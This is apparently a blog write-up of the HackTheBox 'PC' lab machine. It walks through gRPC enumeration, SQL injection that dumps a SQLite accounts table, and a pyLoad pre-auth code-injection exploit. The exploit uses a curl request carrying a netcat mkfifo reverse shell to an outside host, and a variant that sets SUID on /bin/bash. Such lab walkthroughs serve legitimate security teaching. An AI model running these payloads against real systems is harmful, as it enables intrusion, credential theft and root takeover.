Home HackTheBox - PC
Post
Cancel

HackTheBox - PC

This machine doesn’t have a website to access. In the enumeration phase, we find a unknown open port. Once we find out what this port is associated with we can move further getting a foothold and escalate our privileges.

Enumeration

A normal nmap scan didn’t provide much, so we add the -p- option to scan all ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ nmap -sC -sV -Pn -p- -A -oN nmap_result 10.10.11.214
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:33 CEST
Nmap scan report for 10.10.11.214
Host is up (0.026s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/23%Time=646CC125%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

After researching we find out the port 50051 is associated with gRPC.

gRPC is a high-performance open-source framework used for building distributed systems. It allows developers to define services and messages using protocol buffers, which can be used to generate client and server code in various programming languages. gRPC supports bi-directional streaming and provides features like load balancing, authentication, and error handling out of the box.

Foothold

After doing some research, we can find a bunch of tool to connect to a gRPC server. We are using gRPCurl and later on gRPCUI as the latter might display some information more clearly.

We try to connect, but we get an error.

1
2
$ ./grpcurl 10.10.11.214:50051
Failed to dial target host "10.10.11.214:50051": tls: first record does not look like a TLS handshake

The -plaintext flag indicates that the communication should happen over plain-text instead of using secure TLS encryption. The list command is used to retrieve a list of available gRPC services provided by the server.

1
2
3
4
5
6
7
$ ./grpcurl -plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
$ ./grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

When interacting with the getInfo method of the SimpleApp service we get an error mentioning we are missing a token header.

1
2
3
4
$ ./grpcurl -plaintext 10.10.11.214:50051 SimpleApp/getInfo   
{
  "message": "Authorization Error.Missing 'token' header"
}

At this moment, I switched to gRPCUI because it might be easier to setup and navigate but all this could have been accomplished with gRPCurl as well.

1
2
$ ./grpcui -plaintext 10.10.11.214:50051                           
gRPC Web UI available at http://127.0.0.1:46799/

Via using the WebUI, we manage to login through default credentials.

grpcui

We can now use the id and token we got after logging in to do a getInfo request.

grpcui-getinfo

We get a “Will update soon message”.

grpcui-result

After trying some paths, we catch the request through burp and tried to display the sqllite version to see if the application is vulnerable to SQL injection.

SQL injection

SQLlite version check

Request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:46799
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: g-zfLPm2JYmG9OLqhKESGEgJ0nm9vorOtXiSr1RVx2M
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://127.0.0.1:46799
Connection: close
Referer: http://127.0.0.1:46799/
Cookie: lang=en-US; _grpcui_csrf_token=g-zfLPm2JYmG9OLqhKESGEgJ0nm9vorOtXiSr1RVx2M
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{
    "metadata": [
        {
            "name": "token",
            "value": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ5MzA2ODZ9.agBwQmbZ56OaxHX0sbm7gbCvx-Hp-PFNxE3P4sD4Nbg"
        }
    ],
    "data": [
        {
            "id": "0 union select sqlite_version();"
        }
    ]
}
Result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
  "headers": [
    {
      "name": "content-type",
      "value": "application/grpc"
    },
    {
      "name": "grpc-accept-encoding",
      "value": "identity, deflate, gzip"
    }
  ],
  "error": null,
  "responses": [
    {
      "message": {
        "message": "3.31.1"
      },
      "isError": false
    }
  ],
  "requests": {
    "total": 1,
    "sent": 1
  },
  "trailers": []
}

SQLlite dump tables

We can now dump all the tables in the database.

Request
1
2
3
4
5
"data":[
    {
        "id":"0 union SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'"
    }
    ]
Result
1
2
3
4
5
6
7
8
  "responses": [
    {
      "message": {
        "message": "accounts,messages"
      },
      "isError": false
    }
  ]

SQLlite get columns

Getting the columns of the accounts table.

Request
1
2
3
4
5
"data":[
    {
        "id":"0 union SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='accounts'"
    }
    ]
Result
1
2
3
4
5
6
7
8
  "responses": [
    {
      "message": {
        "message": "CREATE TABLE \"accounts\" (\n\tusername TEXT UNIQUE,\n\tpassword TEXT\n)"
      },
      "isError": false
    }
  ]

SQLlite get columns

Getting the values of the username and password columns from the table accounts.

Request
1
"data":[{"id":"0 union SELECT group_concat(username || \":\" || password || \",\") from accounts"}]
Result
1
2
3
4
5
6
7
8
  "responses": [
    {
      "message": {
        "message": "admin:admin,,sau:He**REDACTED**31,,t**REDACTED**n:1**REDACTED**4,"
      },
      "isError": false
    }
  ]

We can use the username and password we found to ssh into the server.

1
2
3
4
5
$ ssh sau@10.10.11.214                                 
sau@pc:~$ ls
user.txt
sau@pc:~$ cat user.txt
42d**REDACTED**1be

Privilege Escalation

Checking for open ports we noticed 8000 is open.

1
2
3
4
5
6
7
8
9
10
11
sau@pc:/tmp$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::50051                :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -   

We tunnel port 8000 to our machine so we can access it.

1
$ ssh -L 8000:localhost:8000 sau@10.10.11.214

Port 8000 seems to be running pyload.

PyLoad is a Python-based download manager that allows users to easily and efficiently manage and automate the downloading of files from various online sources.

pyload

When looking up exploits that exists in pyload, we find an “pre-auth remote code execution”. By modifying the PoC payload, we managed to gain a root reverse shell.

The payload looks like:

1
2
3
curl -i -s -k -X $'POST' \
    --data-binary $'jk=COMMAND_HERE";f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \                            
    $'http://127.0.0.1:8000/flash/addcrypted2'
  • -i: Includes the response headers in the output.
  • -s: Silences the progress meter and other unnecessary output.
  • -k: Allows insecure connections by skipping SSL certificate verification.
  • -X 'POST': Specifies that the request method is a POST.
  • --data-binary $'...': Sets the request body data. The payload is provided in URL-encoded format.
  • jk=COMMAND_HERE": This parameter sets the value of the “jk” parameter, which is susceptible to code injection.
    • The command we inject is a nc reverse shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.64 1234 >/tmp/f. This command needs to be URL encoded.
  • f=function%20f2(){};: This code sets an empty function named “f2”. It is included to ensure that the payload syntax remains valid and doesn’t cause any errors due to undefined variables.
  • &package=xxx&crypted=AAAA&&passwords=aaaa: These parameters represent additional values included in the request. Their specific purpose may be application-specific and are not directly related to the payload.
  • $'http://127.0.0.1:8000/flash/addcrypted2': Specifies the target URL where the request will be sent.

The payload allows an unauthenticated attacker to execute arbitrary Python code by abusing the functionality of the js2py library used by pyLoad. By sending a specially crafted request to the targeted endpoint (addcrypted2), the attacker can inject Python code via the jk parameter by using pyimport as js2py also supports importing any Python code from JavaScript using pyimport statement, which is enabled by default. This all leads to remote code execution.

1
2
3
4
#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.64 1234 >/tmp/f
$ curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.14.64%201234%20%3E%2Ftmp%2Ff\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \                            
    $'http://127.0.0.1:8000/flash/addcrypted2'
1
2
3
4
5
6
7
$ nc -lvnp 1234                                 
listening on [any] 1234 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.214] 41228
# whoami
root
# cat /root/root.txt
e0a**REDACTED**24a

Another path one could take is to add a SUID to /bin/bash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# chmod u+s /bin/bash
$ curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Wed, 24 May 2023 11:40:09 GMT
Server: Cheroot/8.6.0

Could not decrypt key  

On the server, /bin/bash now has the SUID set.

1
2
3
4
5
sau@pc:~$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.2M Apr 18  2022 /bin/bash
sau@pc:~$ /bin/bash -p
bash-5.0# whoami
root
This post is licensed under CC BY 4.0 by the author.